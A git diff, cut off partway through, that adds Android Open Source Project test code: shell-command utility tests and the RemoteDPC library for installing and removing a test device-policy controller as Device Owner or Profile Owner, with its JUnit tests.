diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/ShellCommandUtilsTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/ShellCommandUtilsTest.java
new file mode 100644
index 0000000..ab62b8e
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/ShellCommandUtilsTest.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import static android.os.Build.VERSION.SDK_INT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+import static org.testng.Assert.assertThrows;
+
+import android.os.Build;
+
+import com.android.bedstead.nene.exceptions.AdbException;
+
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.function.Function;
+
+@RunWith(JUnit4.class)
+public class ShellCommandUtilsTest {
+
+    private static final String LIST_USERS_COMMAND = "pm list users";
+    private static final String LIST_USERS_EXPECTED_OUTPUT = "Users:";
+    private static final String INVALID_COMMAND_LEGACY_OUTPUT = "pm list-users";
+    private static final String INVALID_COMMAND_EXPECTED_LEGACY_OUTPUT = "Unknown command:";
+    private static final String INVALID_COMMAND_CORRECT_OUTPUT = "pm set-harmful-app-warning --no";
+    private static final Function<String, Boolean> ALWAYS_PASS_OUTPUT_FILTER = (output) -> true;
+    private static final Function<String, Boolean> ALWAYS_FAIL_OUTPUT_FILTER = (output) -> false;
+
+    @Test
+    public void executeCommand_returnsOutput() throws Exception {
+        assertThat(ShellCommandUtils.executeCommand(LIST_USERS_COMMAND))
+                .contains(LIST_USERS_EXPECTED_OUTPUT);
+    }
+
+    @Test
+    @Ignore("This behaviour is not implemented yet")
+    public void executeCommand_invalidCommand_legacyOutput_throwsException() {
+        assumeTrue(
+                "New behaviour is only supported on Android 11+", SDK_INT >= Build.VERSION_CODES.R);
+        assertThrows(AdbException.class,
+                () -> ShellCommandUtils.executeCommand(INVALID_COMMAND_LEGACY_OUTPUT));
+    }
+
+    @Test
+    public void executeCommand_invalidCommand_legacyOutput_preAndroid11_throwsException()
+            throws Exception {
+        // This is currently still the default behaviour
+        //assumeTrue("Legacy behaviour is only supported before 11",
+        // SDK_INT < Build.VERSION_CODES.R);
+        assumeTrue("This command's behaviour changed in Android P",
+                SDK_INT >= Build.VERSION_CODES.P);
+        assertThat(ShellCommandUtils.executeCommand(INVALID_COMMAND_LEGACY_OUTPUT))
+                .contains(INVALID_COMMAND_EXPECTED_LEGACY_OUTPUT);
+    }
+
+    @Test
+    public void executeCommandAndValidateOutput_outputFilterMatched_returnsOutput()
+            throws Exception {
+        assertThat(
+                ShellCommandUtils.executeCommandAndValidateOutput(
+                        LIST_USERS_COMMAND, ALWAYS_PASS_OUTPUT_FILTER))
+                .isNotNull();
+    }
+
+    @Test
+    public void executeCommandAndValidateOutput_outputFilterNotMatched_throwsException() {
+        assertThrows(AdbException.class,
+                () -> ShellCommandUtils.executeCommandAndValidateOutput(
+                        LIST_USERS_COMMAND, ALWAYS_FAIL_OUTPUT_FILTER));
+    }
+
+    @Test
+    public void executeCommand_invalidCommand_correctOutput_throwsException() {
+        assertThrows(AdbException.class,
+                () -> ShellCommandUtils.executeCommand(INVALID_COMMAND_CORRECT_OUTPUT));
+    }
+
+    @Test
+    public void startsWithSuccess_doesStartWithSuccess_returnsTrue() {
+        assertThat(ShellCommandUtils.startsWithSuccess("suCceSs: ...")).isTrue();
+    }
+
+    @Test
+    public void startsWithSuccess_equalsSuccess_returnsTrue() {
+        assertThat(ShellCommandUtils.startsWithSuccess("success")).isTrue();
+    }
+
+    @Test
+    public void startsWithSuccess_doesNotStartWithSuccess_returnsFalse() {
+        assertThat(ShellCommandUtils.startsWithSuccess("not success...")).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/nene/testapps/TestApp1.xml b/common/device-side/bedstead/nene/testapps/TestApp1.xml
new file mode 100644
index 0000000..dcf8a60
--- /dev/null
+++ b/common/device-side/bedstead/nene/testapps/TestApp1.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.bedstead.nene.testapps.TestApp1">
+    <application
+        android:appComponentFactory="com.android.eventlib.premade.EventLibAppComponentFactory">
+    </application>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
+</manifest>
diff --git a/common/device-side/bedstead/remotedpc/Android.bp b/common/device-side/bedstead/remotedpc/Android.bp
new file mode 100644
index 0000000..e6996f2
--- /dev/null
+++ b/common/device-side/bedstead/remotedpc/Android.bp
@@ -0,0 +1,58 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_library {
+    name: "RemoteDPC",
+    sdk_version: "test_current",
+    srcs: [
+        "src/library/main/java/**/*.java"
+    ],
+    static_libs: [
+        "Nene",
+    ],
+    manifest: "src/library/main/AndroidManifest.xml",
+    min_sdk_version: "27",
+    resource_zips: [":RemoteDPC_Apps"],
+}
+
+android_test_helper_app {
+    name: "RemoteDPC_DPC",
+    static_libs: [
+        "DeviceAdminApp"
+    ],
+    manifest: "src/dpc/main/AndroidManifest.xml",
+    min_sdk_version: "27"
+}
+
+java_genrule {
+    name: "RemoteDPC_Apps",
+    srcs: [":RemoteDPC_DPC"],
+    out: ["RemoteDPC_Apps.res.zip"],
+    tools: ["soong_zip"],
+    cmd: "mkdir -p $(genDir)/res/raw"
+         + " && cp $(location :RemoteDPC_DPC) $(genDir)/res/raw"
+         + " && $(location soong_zip) -o $(out) -C $(genDir)/res -D $(genDir)/res/raw"
+}
+
+android_test {
+    name: "RemoteDPCTest",
+    srcs: [
+        "src/library/test/java/**/*.java"
+    ],
+    test_suites: [
+        "general-tests",
+    ],
+    static_libs: [
+        "RemoteDPC",
+        "Nene",
+        "TestApp",
+        "EventLib",
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "testng" // for assertThrows
+    ],
+    manifest: "src/library/test/AndroidManifest.xml",
+    min_sdk_version: "27"
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remotedpc/AndroidTest.xml b/common/device-side/bedstead/remotedpc/AndroidTest.xml
new file mode 100644
index 0000000..cdc3b7d
--- /dev/null
+++ b/common/device-side/bedstead/remotedpc/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for RemoteDPC test cases">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="RemoteDPCTest.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.bedstead.remotedpc.test" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/common/device-side/bedstead/remotedpc/TEST_MAPPING b/common/device-side/bedstead/remotedpc/TEST_MAPPING
new file mode 100644
index 0000000..34b7cf24
--- /dev/null
+++ b/common/device-side/bedstead/remotedpc/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "postsubmit": [
+    {
+      "name": "RemoteDPCTest"
+    }
+  ]
+}
diff --git a/common/device-side/bedstead/remotedpc/src/dpc/main/AndroidManifest.xml b/common/device-side/bedstead/remotedpc/src/dpc/main/AndroidManifest.xml
new file mode 100644
index 0000000..eba2241
--- /dev/null
+++ b/common/device-side/bedstead/remotedpc/src/dpc/main/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.bedstead.remotedpc.dpc">
+    <uses-sdk android:minSdkVersion="27" />
+    <application android:testOnly="true">
+    </application>
+</manifest>
diff --git a/common/device-side/bedstead/remotedpc/src/library/main/AndroidManifest.xml b/common/device-side/bedstead/remotedpc/src/library/main/AndroidManifest.xml
new file mode 100644
index 0000000..571f8cf
--- /dev/null
+++ b/common/device-side/bedstead/remotedpc/src/library/main/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.bedstead.remotedpc">
+    <uses-sdk android:minSdkVersion="27" />
+    <application>
+    </application>
+</manifest>
diff --git a/common/device-side/bedstead/remotedpc/src/library/main/java/com/android/bedstead/remotedpc/RemoteDpc.java b/common/device-side/bedstead/remotedpc/src/library/main/java/com/android/bedstead/remotedpc/RemoteDpc.java
new file mode 100644
index 0000000..93f6fe3
--- /dev/null
+++ b/common/device-side/bedstead/remotedpc/src/library/main/java/com/android/bedstead/remotedpc/RemoteDpc.java
@@ -0,0 +1,260 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remotedpc;
+
+import static com.android.compatibility.common.util.FileUtils.readInputStreamFully;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.UserHandle;
+
+import androidx.annotation.Nullable;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.devicepolicy.DeviceOwner;
+import com.android.bedstead.nene.devicepolicy.DevicePolicyController;
+import com.android.bedstead.nene.devicepolicy.ProfileOwner;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.users.UserReference;
+
+import java.io.IOException;
+import java.io.InputStream;
+
+/** Entry point to RemoteDPC. */
+public final class RemoteDpc {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final ComponentName DPC_COMPONENT = new ComponentName(
+            "com.android.bedstead.remotedpc.dpc",
+            "com.android.eventlib.premade.EventLibDeviceAdminReceiver"
+    );
+
+    /**
+     * Get the {@link RemoteDpc} instance for the Device Owner.
+     *
+     * <p>This will return {@code null} if there is no Device Owner or it is not a RemoteDPC app.
+     */
+    @Nullable
+    public static RemoteDpc deviceOwner() {
+        DeviceOwner deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
+        if (deviceOwner == null || !deviceOwner.componentName().equals(DPC_COMPONENT)) {
+            return null;
+        }
+
+        return new RemoteDpc(deviceOwner);
+    }
+
+    /**
+     * Get the {@link RemoteDpc} instance for the Profile Owner of the current user.
+     *
+     * <p>This will return null if there is no Profile Owner or it is not a RemoteDPC app.
+     */
+    @Nullable
+    public static RemoteDpc profileOwner() {
+        return profileOwner(sTestApis.users().instrumented());
+    }
+
+    /**
+     * Get the {@link RemoteDpc} instance for the Profile Owner of the given {@code profile}.
+     *
+     * <p>This will return null if there is no Profile Owner or it is not a RemoteDPC app.
+     */
+    @Nullable
+    public static RemoteDpc profileOwner(UserHandle profile) {
+        if (profile == null) {
+            throw new NullPointerException();
+        }
+
+        return profileOwner(sTestApis.users().find(profile));
+    }
+
+    /**
+     * Get the {@link RemoteDpc} instance for the Profile Owner of the given {@code profile}.
+     *
+     * <p>This will return null if there is no Profile Owner or it is not a RemoteDPC app.
+     */
+    @Nullable
+    public static RemoteDpc profileOwner(UserReference profile) {
+        if (profile == null) {
+            throw new NullPointerException();
+        }
+
+        ProfileOwner profileOwner = sTestApis.devicePolicy().getProfileOwner(profile);
+        if (profileOwner == null || !profileOwner.componentName().equals(DPC_COMPONENT)) {
+            return null;
+        }
+
+        return new RemoteDpc(profileOwner);
+    }
+
+    /**
+     * Get the most specific {@link RemoteDpc} instance for the current user.
+     *
+     * <p>If the user has a RemoteDPC Profile Owner, this will refer to that. If it does not but
+     * has a RemoteDPC Device Owner it will refer to that. Otherwise it will return null.
+     */
+    @Nullable
+    public static RemoteDpc any() {
+        return any(sTestApis.users().instrumented());
+    }
+
+    /**
+     * Get the most specific {@link RemoteDpc} instance for the current user.
+     *
+     * <p>If the user has a RemoteDPC Profile Owner, this will refer to that. If it does not but
+     * has a RemoteDPC Device Owner it will refer to that. Otherwise it will return null.
+     */
+    @Nullable
+    public static RemoteDpc any(UserHandle user) {
+        if (user == null) {
+            throw new NullPointerException();
+        }
+
+        return any(sTestApis.users().find(user));
+    }
+
+    /**
+     * Get the most specific {@link RemoteDpc} instance for the current user.
+     *
+     * <p>If the user has a RemoteDPC Profile Owner, this will refer to that. If it does not but
+     * has a RemoteDPC Device Owner it will refer to that. Otherwise it will return null.
+     */
+    @Nullable
+    public static RemoteDpc any(UserReference user) {
+        RemoteDpc remoteDPC = profileOwner(user);
+        if (remoteDPC != null) {
+            return remoteDPC;
+        }
+        return deviceOwner();
+    }
+
+    /**
+     * Set RemoteDPC as the Device Owner.
+     */
+    public static RemoteDpc setAsDeviceOwner(UserHandle user) {
+        if (user == null) {
+            throw new NullPointerException();
+        }
+        return setAsDeviceOwner(sTestApis.users().find(user));
+    }
+
+    /**
+     * Set RemoteDPC as the Device Owner.
+     */
+    public static RemoteDpc setAsDeviceOwner(UserReference user) {
+        if (user == null) {
+            throw new NullPointerException();
+        }
+
+        DeviceOwner deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
+        if (deviceOwner != null) {
+            if (deviceOwner.componentName().equals(DPC_COMPONENT)) {
+                return new RemoteDpc(deviceOwner); // Already set
+            }
+            deviceOwner.remove();
+        }
+
+        ensureInstalled(user);
+        return new RemoteDpc(sTestApis.devicePolicy().setDeviceOwner(user, DPC_COMPONENT));
+    }
+
+    /**
+     * Set RemoteDPC as the Profile Owner.
+     */
+    public static RemoteDpc setAsProfileOwner(UserHandle user) {
+        if (user == null) {
+            throw new NullPointerException();
+        }
+        return setAsProfileOwner(sTestApis.users().find(user));
+    }
+
+    /**
+     * Set RemoteDPC as the Profile Owner.
+     */
+    public static RemoteDpc setAsProfileOwner(UserReference user) {
+        if (user == null) {
+            throw new NullPointerException();
+        }
+
+        ProfileOwner profileOwner = sTestApis.devicePolicy().getProfileOwner(user);
+        if (profileOwner != null) {
+            if (profileOwner.componentName().equals(DPC_COMPONENT)) {
+                return new RemoteDpc(profileOwner); // Already set
+            }
+            profileOwner.remove();
+        }
+
+        ensureInstalled(user);
+        return new RemoteDpc(sTestApis.devicePolicy().setProfileOwner(user, DPC_COMPONENT));
+    }
+
+    private static void ensureInstalled(UserReference user) {
+        sTestApis.packages().install(user, apkBytes());
+    }
+
+    private static byte[] apkBytes() {
+        int apkId = sContext.getResources().getIdentifier(
+                "raw/RemoteDPC_DPC", /* defType= */ null, sContext.getPackageName());
+        try (InputStream inputStream =
+                     sContext.getResources().openRawResource(apkId)) {
+            return readInputStreamFully(inputStream);
+        } catch (IOException e) {
+            throw new NeneException("Error when reading RemoteDPC bytes", e);
+        }
+    }
+
+    private final DevicePolicyController mDevicePolicyController;
+
+    private RemoteDpc(DevicePolicyController devicePolicyController) {
+        if (devicePolicyController == null) {
+            throw new NullPointerException();
+        }
+        mDevicePolicyController = devicePolicyController;
+    }
+
+    /**
+     * Get the {@link DevicePolicyController} for this instance of RemoteDPC.
+     */
+    public DevicePolicyController devicePolicyController() {
+        return mDevicePolicyController;
+    }
+
+    /**
+     * Remove RemoteDPC as Device Owner or Profile Owner and uninstall the APK from the user.
+     */
+    public void remove() {
+        mDevicePolicyController.remove();
+        sTestApis.packages().find(DPC_COMPONENT.getPackageName())
+                .uninstall(mDevicePolicyController.user());
+    }
+
+    @Override
+    public int hashCode() {
+        return mDevicePolicyController.hashCode();
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (!(obj instanceof RemoteDpc)) {
+            return false;
+        }
+
+        RemoteDpc other = (RemoteDpc) obj;
+        return other.mDevicePolicyController.equals(mDevicePolicyController);
+    }
+}
diff --git a/common/device-side/bedstead/remotedpc/src/library/test/AndroidManifest.xml b/common/device-side/bedstead/remotedpc/src/library/test/AndroidManifest.xml
new file mode 100644
index 0000000..5990e54
--- /dev/null
+++ b/common/device-side/bedstead/remotedpc/src/library/test/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.bedstead.remotedpc.test">
+    <application android:label="RemoteDPC Tests">
+        <uses-library android:name="android.test.runner" />
+    </application>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.bedstead.remotedpc.test"
+                     android:label="RemoteDPC Tests" />
+</manifest>
diff --git a/common/device-side/bedstead/remotedpc/src/library/test/java/com/android/bedstead/remotedpc/RemoteDpcTest.java b/common/device-side/bedstead/remotedpc/src/library/test/java/com/android/bedstead/remotedpc/RemoteDpcTest.java
new file mode 100644
index 0000000..8e57e1d
--- /dev/null
+++ b/common/device-side/bedstead/remotedpc/src/library/test/java/com/android/bedstead/remotedpc/RemoteDpcTest.java
@@ -0,0 +1,682 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remotedpc;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.ComponentName;
+import android.os.UserHandle;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.devicepolicy.DeviceOwner;
+import com.android.bedstead.nene.devicepolicy.ProfileOwner;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.users.UserType;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppProvider;
+import com.android.eventlib.premade.EventLibDeviceAdminReceiver;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class RemoteDpcTest {
+    // TODO(scottjonathan): Add annotations to ensure that there is no DO/PO on appropriate methods
+    //  TODO(180478924): We shouldn't need to hardcode this
+    private static final String DEVICE_ADMIN_TESTAPP_PACKAGE_NAME = "android.DeviceAdminTestApp";
+    private static final ComponentName NON_REMOTE_DPC_COMPONENT =
+            new ComponentName(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME,
+                    EventLibDeviceAdminReceiver.class.getName());
+
+    private static final TestApis sTestApis = new TestApis();
+    private static TestApp sNonRemoteDpcTestApp;
+    private static final UserReference sUser = sTestApis.users().instrumented();
+    private static final UserReference NON_EXISTING_USER_REFERENCE =
+            sTestApis.users().find(99999);
+    private static final UserHandle NON_EXISTING_USER_HANDLE =
+            NON_EXISTING_USER_REFERENCE.userHandle();
+
+    @BeforeClass
+    public static void setupClass() {
+        sNonRemoteDpcTestApp = new TestAppProvider().query()
+                .withPackageName(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME)
+                .get();
+
+        sNonRemoteDpcTestApp.install(sUser);
+    }
+
+    @AfterClass
+    public static void teardownClass() {
+        sNonRemoteDpcTestApp.reference().uninstall(sUser);
+    }
+
+    @Test
+    public void deviceOwner_noDeviceOwner_returnsNull() {
+        assertThat(RemoteDpc.deviceOwner()).isNull();
+    }
+
+    @Test
+    public void deviceOwner_nonRemoteDpcDeviceOwner_returnsNull() {
+        DeviceOwner deviceOwner =
+                sTestApis.devicePolicy().setDeviceOwner(sUser, NON_REMOTE_DPC_COMPONENT);
+        try {
+            assertThat(RemoteDpc.deviceOwner()).isNull();
+        } finally {
+            deviceOwner.remove();
+        }
+    }
+
+    @Test
+    public void deviceOwner_remoteDpcDeviceOwner_returnsInstance() {
+        RemoteDpc remoteDPC = RemoteDpc.setAsDeviceOwner(sUser);
+
+        try {
+            assertThat(RemoteDpc.deviceOwner()).isNotNull();
+        } finally {
+            remoteDPC.devicePolicyController().remove();
+        }
+    }
+
+    @Test
+    public void profileOwner_noProfileOwner_returnsNull() {
+        assertThat(RemoteDpc.profileOwner()).isNull();
+    }
+
+    @Test
+    public void profileOwner_nonRemoteDpcProfileOwner_returnsNull() {
+        ProfileOwner profileOwner =
+                sTestApis.devicePolicy().setProfileOwner(sUser, NON_REMOTE_DPC_COMPONENT);
+        try {
+            assertThat(RemoteDpc.profileOwner()).isNull();
+        } finally {
+            profileOwner.remove();
+        }
+    }
+
+    @Test
+    public void profileOwner_remoteDpcProfileOwner_returnsInstance() {
+        RemoteDpc remoteDPC = RemoteDpc.setAsProfileOwner(sUser);
+        try {
+            assertThat(RemoteDpc.profileOwner()).isNotNull();
+        } finally {
+            remoteDPC.devicePolicyController().remove();
+        }
+    }
+
+    @Test
+    public void profileOwner_userHandle_null_throwsException() {
+        assertThrows(NullPointerException.class, () -> RemoteDpc.profileOwner((UserHandle) null));
+    }
+
+    @Test
+    public void profileOwner_userHandle_noProfileOwner_returnsNull() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            assertThat(RemoteDpc.profileOwner(profile.userHandle())).isNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void profileOwner_userHandle_nonRemoteDpcProfileOwner_returnsNull() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        sNonRemoteDpcTestApp.install(profile);
+        try {
+            sTestApis.devicePolicy().setProfileOwner(profile, NON_REMOTE_DPC_COMPONENT);
+
+            assertThat(RemoteDpc.profileOwner(profile.userHandle())).isNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void profileOwner_userHandle_remoteDpcProfileOwner_returnsInstance() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        RemoteDpc.setAsProfileOwner(profile);
+        try {
+            assertThat(RemoteDpc.profileOwner(profile.userHandle())).isNotNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void profileOwner_userReference_null_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> RemoteDpc.profileOwner((UserReference) null));
+    }
+
+    @Test
+    public void profileOwner_userReference_noProfileOwner_returnsNull() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            assertThat(RemoteDpc.profileOwner(profile)).isNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void profileOwner_userReference_nonRemoteDpcProfileOwner_returnsNull() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        sNonRemoteDpcTestApp.install(profile);
+        try {
+            sTestApis.devicePolicy().setProfileOwner(profile, NON_REMOTE_DPC_COMPONENT);
+
+            assertThat(RemoteDpc.profileOwner(profile)).isNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void profileOwner_userReference_remoteDpcProfileOwner_returnsInstance() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        RemoteDpc.setAsProfileOwner(profile);
+        try {
+            assertThat(RemoteDpc.profileOwner(profile)).isNotNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void any_noDeviceOwner_noProfileOwner_returnsNull() {
+        assertThat(RemoteDpc.any()).isNull();
+    }
+
+    @Test
+    public void any_noDeviceOwner_nonRemoteDpcProfileOwner_returnsNull() {
+        ProfileOwner profileOwner = sTestApis.devicePolicy().setProfileOwner(sUser,
+                NON_REMOTE_DPC_COMPONENT);
+
+        try {
+            assertThat(RemoteDpc.any()).isNull();
+        } finally {
+            profileOwner.remove();
+        }
+    }
+
+    @Test
+    public void any_nonRemoteDpcDeviceOwner_noProfileOwner_returnsNull() {
+        DeviceOwner deviceOwner = sTestApis.devicePolicy().setDeviceOwner(sUser,
+                NON_REMOTE_DPC_COMPONENT);
+
+        try {
+            assertThat(RemoteDpc.any()).isNull();
+        } finally {
+            deviceOwner.remove();
+        }
+    }
+
+    @Test
+    public void any_remoteDpcDeviceOwner_returnsDeviceOwner() {
+        RemoteDpc remoteDPC = RemoteDpc.setAsDeviceOwner(sUser);
+
+        try {
+            assertThat(RemoteDpc.any()).isNotNull();
+        } finally {
+            remoteDPC.devicePolicyController().remove();
+        }
+    }
+
+    @Test
+    public void any_remoteDpcProfileOwner_returnsProfileOwner() {
+        RemoteDpc remoteDPC = RemoteDpc.setAsProfileOwner(sUser);
+
+        try {
+            assertThat(RemoteDpc.any()).isNotNull();
+        } finally {
+            remoteDPC.devicePolicyController().remove();
+        }
+    }
+
+    @Test
+    public void any_userHandle_null_throwsException() {
+        assertThrows(NullPointerException.class, () -> RemoteDpc.any((UserHandle) null));
+    }
+
+    @Test
+    public void any_userHandle_noDeviceOwner_noProfileOwner_returnsNull() {
+        assertThat(RemoteDpc.any(sUser.userHandle())).isNull();
+    }
+
+    @Test
+    public void any_userHandle_noDeviceOwner_nonRemoteDpcProfileOwner_returnsNull() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        sNonRemoteDpcTestApp.install(profile);
+        try {
+            sTestApis.devicePolicy().setProfileOwner(profile, NON_REMOTE_DPC_COMPONENT);
+
+            assertThat(RemoteDpc.any(profile.userHandle())).isNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
